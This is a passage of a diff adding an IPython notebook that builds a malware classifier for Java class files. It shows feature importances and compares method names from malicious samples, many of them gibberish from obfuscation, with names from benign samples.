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\n",
+       "text": [
+        "<matplotlib.figure.Figure at 0x12b67fe10>"
+       ]
+      }
+     ],
+     "prompt_number": 138
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "#### Here we have the classifier tell use which features were most important and how important they were.  The entropy and constant pool count are the two most important features by far."
+     ]
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "importances = zip(simple_features, clf_simple.feature_importances_)\n",
+      "importances.sort(key=lambda k:k[1], reverse=True)\n",
+      "for idx, im in enumerate(importances):\n",
+      "    print (str(idx+1) + ':').ljust(4), im[0].ljust(20), round(im[1], 5)"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "output_type": "stream",
+       "stream": "stdout",
+       "text": [
+        "1:   entropy              0.29813\n",
+        "2:   constant_pool_count  0.24814\n",
+        "3:   size                 0.14489\n",
+        "4:   methods_count        0.08492\n",
+        "5:   interface_count      0.08152\n",
+        "6:   major version        0.05055\n",
+        "7:   ap_count             0.02908\n",
+        "8:   acc_public           0.02446\n",
+        "9:   acc_final            0.01284\n",
+        "10:  acc_abstract         0.00982\n",
+        "11:  minor version        0.00623\n",
+        "12:  acc_super            0.00541\n",
+        "13:  acc_interface        0.00275\n",
+        "14:  acc_enum             0.00125\n",
+        "15:  acc_synthetic        2e-05\n",
+        "16:  acc_annotation       -0.0\n"
+       ]
+      }
+     ],
+     "prompt_number": 139
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "### What about the method names?\n",
+      "\n",
+      "#### Next we will explore the names of the methods"
+     ]
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "bad = []\n",
+      "good = []\n",
+      "for strings, label in zip(df['method names'], df['label']):\n",
+      "    for name in strings:\n",
+      "        d = {'method name': name}\n",
+      "        if label == 'malicious' and d not in bad:\n",
+      "            bad.append(d)\n",
+      "        elif label == 'benign' and d not in good:\n",
+      "            good.append(d)\n",
+      "\n",
+      "df_method_names_bad = pd.DataFrame.from_records(bad)\n",
+      "df_method_names_good = pd.DataFrame.from_records(good)"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [],
+     "prompt_number": 145
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "df_method_names_bad.head(50)"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "html": [
+        "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n",
+        "<table border=\"1\" class=\"dataframe\">\n",
+        "  <thead>\n",
+        "    <tr style=\"text-align: right;\">\n",
+        "      <th></th>\n",
+        "      <th>method name</th>\n",
+        "    </tr>\n",
+        "  </thead>\n",
+        "  <tbody>\n",
+        "    <tr>\n",
+        "      <th>0 </th>\n",
+        "      <td>                &lt;init&gt;</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>1 </th>\n",
+        "      <td>                  init</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>2 </th>\n",
+        "      <td>              ktCgxlqo</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>3 </th>\n",
+        "      <td>              &lt;clinit&gt;</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>4 </th>\n",
+        "      <td>                 gvuNr</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>5 </th>\n",
+        "      <td>    eiaxyercdfvbgscpbv</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>6 </th>\n",
+        "      <td>    yginlmcynkyuohnfhe</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>7 </th>\n",
+        "      <td>       mtyvzetsjhvnbyz</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>8 </th>\n",
+        "      <td>    fxxhgjttqfavlooxcb</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>9 </th>\n",
+        "      <td>   wyjgamzmowywjihkuuf</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>10</th>\n",
+        "      <td> kgthsnqdqutacivcptong</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>11</th>\n",
+        "      <td> qgasjqrogibkblyzourtq</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>12</th>\n",
+        "      <td>   glfouhczfxzyskaystx</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>13</th>\n",
+        "      <td>      mikczoanebdkwpyb</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>14</th>\n",
+        "      <td>      bwssduenvebnvgix</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>15</th>\n",
+        "      <td>   wafrcwijizypmitodmb</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>16</th>\n",
+        "      <td>     bfznyeevclzzxxqbw</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>17</th>\n",
+        "      <td>       jmzisxwtxhekbkl</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>18</th>\n",
+        "      <td>    szivddjiptybevduli</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>19</th>\n",
+        "      <td>   forwnxmgnutbtdwvptj</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>20</th>\n",
+        "      <td>     mwwmrvljafpkwzdiy</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>21</th>\n",
+        "      <td>     vvpbdzrhvvnzaieyi</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>22</th>\n",
+        "      <td>     qkkxoygluwwlnwbxu</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>23</th>\n",
+        "      <td>                dvvwse</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>24</th>\n",
+        "      <td>                     c</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>25</th>\n",
+        "      <td>                     k</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>26</th>\n",
+        "      <td>                  main</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>27</th>\n",
+        "      <td>     writeEmbeddedFile</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>28</th>\n",
+        "      <td>             bootstrap</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>29</th>\n",
+        "      <td>      getJreExecutable</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>30</th>\n",
+        "      <td>          addExtension</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>31</th>\n",
+        "      <td>             findInDir</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>32</th>\n",
+        "      <td>             normalize</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>33</th>\n",
+        "      <td>               dissect</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>34</th>\n",
+        "      <td>                class$</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>35</th>\n",
+        "      <td>              tgznSIAR</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>36</th>\n",
+        "      <td>               kWfVWtw</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>37</th>\n",
+        "      <td>              BodFzDax</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>38</th>\n",
+        "      <td>                xXVBwx</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>39</th>\n",
+        "      <td>             VdJiGyZfj</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>40</th>\n",
+        "      <td>            taddhnwrkj</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>41</th>\n",
+        "      <td>                     C</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>42</th>\n",
+        "      <td>         ALLATORI_DEMO</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>43</th>\n",
+        "      <td>      jvsamhqyvgekftsj</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>44</th>\n",
+        "      <td>                 knjkb</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>45</th>\n",
+        "      <td>                     B</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>46</th>\n",
+        "      <td>                cmjnkr</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>47</th>\n",
+        "      <td>                jmdpes</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>48</th>\n",
+        "      <td>             tqffjybms</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>49</th>\n",
+        "      <td>                vtvtmh</td>\n",
+        "    </tr>\n",
+        "  </tbody>\n",
+        "</table>\n",
+        "<p>50 rows \u00d7 1 columns</p>\n",
+        "</div>"
+       ],
+       "metadata": {},
+       "output_type": "pyout",
+       "prompt_number": 146,
+       "text": [
+        "              method name\n",
+        "0                  <init>\n",
+        "1                    init\n",
+        "2                ktCgxlqo\n",
+        "3                <clinit>\n",
+        "4                   gvuNr\n",
+        "5      eiaxyercdfvbgscpbv\n",
+        "6      yginlmcynkyuohnfhe\n",
+        "7         mtyvzetsjhvnbyz\n",
+        "8      fxxhgjttqfavlooxcb\n",
+        "9     wyjgamzmowywjihkuuf\n",
+        "10  kgthsnqdqutacivcptong\n",
+        "11  qgasjqrogibkblyzourtq\n",
+        "12    glfouhczfxzyskaystx\n",
+        "13       mikczoanebdkwpyb\n",
+        "14       bwssduenvebnvgix\n",
+        "15    wafrcwijizypmitodmb\n",
+        "16      bfznyeevclzzxxqbw\n",
+        "17        jmzisxwtxhekbkl\n",
+        "18     szivddjiptybevduli\n",
+        "19    forwnxmgnutbtdwvptj\n",
+        "20      mwwmrvljafpkwzdiy\n",
+        "21      vvpbdzrhvvnzaieyi\n",
+        "22      qkkxoygluwwlnwbxu\n",
+        "23                 dvvwse\n",
+        "24                      c\n",
+        "25                      k\n",
+        "26                   main\n",
+        "27      writeEmbeddedFile\n",
+        "28              bootstrap\n",
+        "29       getJreExecutable\n",
+        "30           addExtension\n",
+        "31              findInDir\n",
+        "32              normalize\n",
+        "33                dissect\n",
+        "34                 class$\n",
+        "35               tgznSIAR\n",
+        "36                kWfVWtw\n",
+        "37               BodFzDax\n",
+        "38                 xXVBwx\n",
+        "39              VdJiGyZfj\n",
+        "40             taddhnwrkj\n",
+        "41                      C\n",
+        "42          ALLATORI_DEMO\n",
+        "43       jvsamhqyvgekftsj\n",
+        "44                  knjkb\n",
+        "45                      B\n",
+        "46                 cmjnkr\n",
+        "47                 jmdpes\n",
+        "48              tqffjybms\n",
+        "49                 vtvtmh\n",
+        "\n",
+        "[50 rows x 1 columns]"
+       ]
+      }
+     ],
+     "prompt_number": 146
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "df_method_names_good.head(50)"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "html": [
+        "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n",
+        "<table border=\"1\" class=\"dataframe\">\n",
+        "  <thead>\n",
+        "    <tr style=\"text-align: right;\">\n",
+        "      <th></th>\n",
+        "      <th>method name</th>\n",
+        "    </tr>\n",
+        "  </thead>\n",
+        "  <tbody>\n",
+        "    <tr>\n",
+        "      <th>0 </th>\n",
+        "      <td>             &lt;init&gt;</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>1 </th>\n",
+        "      <td>           delegate</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>2 </th>\n",
+        "      <td>        putIfAbsent</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>3 </th>\n",
+        "      <td>             remove</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>4 </th>\n",
+        "      <td>            replace</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>5 </th>\n",
+        "      <td>         resetState</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>6 </th>\n",
+        "      <td>         comparator</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>7 </th>\n",
+        "      <td>   createElementSet</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>8 </th>\n",
+        "      <td>         elementSet</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>9 </th>\n",
+        "      <td> descendingMultiset</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>10</th>\n",
+        "      <td>         firstEntry</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>11</th>\n",
+        "      <td>          lastEntry</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>12</th>\n",
+        "      <td>     pollFirstEntry</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>13</th>\n",
+        "      <td>      pollLastEntry</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>14</th>\n",
+        "      <td>       headMultiset</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>15</th>\n",
+        "      <td>        subMultiset</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>16</th>\n",
+        "      <td>       tailMultiset</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>17</th>\n",
+        "      <td>             invoke</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>18</th>\n",
+        "      <td>            hasNext</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>19</th>\n",
+        "      <td>        isValidLine</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>20</th>\n",
+        "      <td>               next</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>21</th>\n",
+        "      <td>           nextLine</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>22</th>\n",
+        "      <td>              close</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>23</th>\n",
+        "      <td>       closeQuietly</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>24</th>\n",
+        "      <td>               exec</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>25</th>\n",
+        "      <td>         getInitial</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>26</th>\n",
+        "      <td>        getIntermed</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>27</th>\n",
+        "      <td>           getFinal</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>28</th>\n",
+        "      <td>                max</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>29</th>\n",
+        "      <td>       outputSchema</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>30</th>\n",
+        "      <td>     estimateLength</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>31</th>\n",
+        "      <td>           appendTo</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>32</th>\n",
+        "      <td>           getXPath</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>33</th>\n",
+        "      <td>                run</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>34</th>\n",
+        "      <td>           secToHMS</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>35</th>\n",
+        "      <td>         contribute</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>36</th>\n",
+        "      <td>     onBeforeRender</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>37</th>\n",
+        "      <td>      setCloseEvent</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>38</th>\n",
+        "      <td>     setSelectEvent</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>39</th>\n",
+        "      <td>     setChangeEvent</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>40</th>\n",
+        "      <td>          setSource</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>41</th>\n",
+        "      <td>          statement</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>42</th>\n",
+        "      <td> setDocumentLocator</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>43</th>\n",
+        "      <td>      startDocument</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>44</th>\n",
+        "      <td>        endDocument</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>45</th>\n",
+        "      <td> startPrefixMapping</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>46</th>\n",
+        "      <td>   endPrefixMapping</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>47</th>\n",
+        "      <td>       startElement</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>48</th>\n",
+        "      <td>         endElement</td>\n",
+        "    </tr>\n",
+        "    <tr>\n",
+        "      <th>49</th>\n",
+        "      <td>         characters</td>\n",
+        "    </tr>\n",
+        "  </tbody>\n",
+        "</table>\n",
+        "<p>50 rows \u00d7 1 columns</p>\n",
+        "</div>"
+       ],
+       "metadata": {},
+       "output_type": "pyout",
+       "prompt_number": 147,
+       "text": [
+        "           method name\n",
+        "0               <init>\n",
+        "1             delegate\n",
+        "2          putIfAbsent\n",
+        "3               remove\n",
+        "4              replace\n",
+        "5           resetState\n",
+        "6           comparator\n",
+        "7     createElementSet\n",
+        "8           elementSet\n",
+        "9   descendingMultiset\n",
+        "10          firstEntry\n",
+        "11           lastEntry\n",
+        "12      pollFirstEntry\n",
+        "13       pollLastEntry\n",
+        "14        headMultiset\n",
+        "15         subMultiset\n",
+        "16        tailMultiset\n",
+        "17              invoke\n",
+        "18             hasNext\n",
+        "19         isValidLine\n",
+        "20                next\n",
+        "21            nextLine\n",
+        "22               close\n",
+        "23        closeQuietly\n",
+        "24                exec\n",
+        "25          getInitial\n",
+        "26         getIntermed\n",
+        "27            getFinal\n",
+        "28                 max\n",
+        "29        outputSchema\n",
+        "30      estimateLength\n",
+        "31            appendTo\n",
+        "32            getXPath\n",
+        "33                 run\n",
+        "34            secToHMS\n",
+        "35          contribute\n",
+        "36      onBeforeRender\n",
+        "37       setCloseEvent\n",
+        "38      setSelectEvent\n",
+        "39      setChangeEvent\n",
+        "40           setSource\n",
+        "41           statement\n",
+        "42  setDocumentLocator\n",
+        "43       startDocument\n",
+        "44         endDocument\n",
+        "45  startPrefixMapping\n",
+        "46    endPrefixMapping\n",
+        "47        startElement\n",
+        "48          endElement\n",
+        "49          characters\n",
+        "\n",
+        "[50 rows x 1 columns]"
+       ]
+      }
+     ],
+     "prompt_number": 147
+    },
+    {
+     "cell_type": "markdown",
+     "metadata": {},
+     "source": [
+      "#### When we look at method names, we see that the benign ones look \"normal\" and while some of the malicioius ones look \"normal\", some look like gibberish.  To try to capture that feature, we extract the longest run of consecutive lowercase, uppercase, and digits from the methods name.  We also calculate the average run of these sequences as well."
+     ]
+    },
+    {
+     "cell_type": "code",
+     "collapsed": false,
+     "input": [
+      "df.boxplot('method_name_lowercase_run_longest', 'label')\n",
+      "plt.ylabel('Max length of lower case letters')\n",
+      "plt.xlabel('')\n",
+      "plt.title('')\n",
+      "plt.suptitle('')"
+     ],
+     "language": "python",
+     "metadata": {},
+     "outputs": [
+      {
+       "metadata": {},
+       "output_type": "pyout",
+       "prompt_number": 148,
+       "text": [
+        "<matplotlib.text.Text at 0x112560510>"
+       ]
+      },
+      {
+       "metadata": {},
+       "output_type": "display_data",
